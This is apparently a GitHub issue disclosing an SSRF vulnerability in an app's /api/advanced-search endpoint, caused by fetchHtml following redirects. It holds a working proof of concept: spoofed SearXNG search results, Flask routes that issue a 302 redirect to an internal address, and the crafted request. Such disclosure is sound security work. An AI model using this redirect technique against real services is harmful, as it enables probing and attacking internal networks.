Skip to content

[BUG] Security Vulnerability #670

@0x1f

Description

@0x1f

Description

SSRF vulnerability caused by calling the fetchHtml function again when the response status code is 3xx.

Proof of Concept

When the request parameter searchDepth value of the interface: /api/advanced-search is advanced, the crawlPage function will be called, and finally the fetchHtml function will be called.

Since the data for the platform's advanced search function comes from the service SearXNG, and the returned data comes from the Internet, if the return field url is the attacker's website, then the returned data can be controlled.

I will simulate the content returned by the service SearXNG and use flask to manipulate the response body to specify the address to access.

  • The SearXNG service returns fake content
{
    "query": "1",
    "number_of_results": 10,
    "results": [
        {
            "url": "http://172.17.0.1:7777/poc",
            "title": "test",
            "content": "test",
            "img_src": "",
            "thumbnail": "",
            "priority": "",
            "engines": [
                "bing"
            ],
            "positions": [
                1
            ],
            "score": 1.0,
            "category": "general",
            "publishedDate": null
        }

    ],
    "answers": [
        {
            "url": null,
            "template": "answer/legacy.html",
            "engine": "plugin: calculator",
            "parsed_url": null,
            "answer": "1 = 1"
        }
    ],
    "corrections": [],
    "infoboxes": [],
    "suggestions": [],
    "unresponsive_engines": [
        [
            "brave",
            "timeout"
        ],
        [
            "brave",
            "timeout"
        ],
        [
            "brave.images",
            "timeout"
        ],
        [
            "deviantart",
            "timeout"
        ],
        [
            "deviantart",
            "timeout"
        ],
        [
            "duckduckgo",
            "timeout"
        ],
        [
            "duckduckgo",
            "timeout"
        ],
        [
            "flickr",
            "timeout"
        ],
        [
            "flickr",
            "timeout"
        ],
        [
            "google",
            "timeout"
        ],
        [
            "google",
            "timeout"
        ],
        [
            "google images",
            "timeout"
        ],
        [
            "openverse",
            "timeout"
        ],
        [
            "openverse",
            "timeout"
        ],
        [
            "pinterest",
            "timeout"
        ],
        [
            "pinterest",
            "timeout"
        ],
        [
            "qwant images",
            "timeout"
        ],
        [
            "startpage",
            "timeout"
        ],
        [
            "startpage images",
            "timeout"
        ],
        [
            "wikicommons.images",
            "timeout"
        ],
        [
            "wikidata",
            "timeout"
        ],
        [
            "wikipedia",
            "timeout"
        ],
        [
            "wikipedia",
            "timeout"
        ]
    ]
}
  • Register an interface that returns mock data
@app.route("/search")
def fake():
    with open('search','r') as f:
        filedata = f.read()
    print("[*] print requets header ")
    print(f"{request.method}  {request.path}")
    for header, value in request.headers.items():
        print(f"{header}: {value}")
    print("\n")
    res=make_response(filedata)
    res.status=200
    res.headers['Content-Type'] = "application/json"
    return res

@app.route("/poc")
def poc():
    print("[*] print requets header ")
    print(f"{request.method}  {request.path}")
    for header, value in request.headers.items():
        print(f"{header}: {value}")
    print("\n")
    res= make_response("A"*(1024*165))
    res.status= 302
    res.headers['Location'] ="http://172.17.0.1:9999"
    return res
  • Request
POST /api/advanced-search HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.9

{
    "query": "1",
    "maxResults": "1",
    "searchDepth": "advanced",
    "includeDomains": "",
    "excludeDomains": ""
}
  • Response
Image

Impact

  • Accessing internal services.
  • Port detection.
  • Frequently visit designated sites to achieve DDOS.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions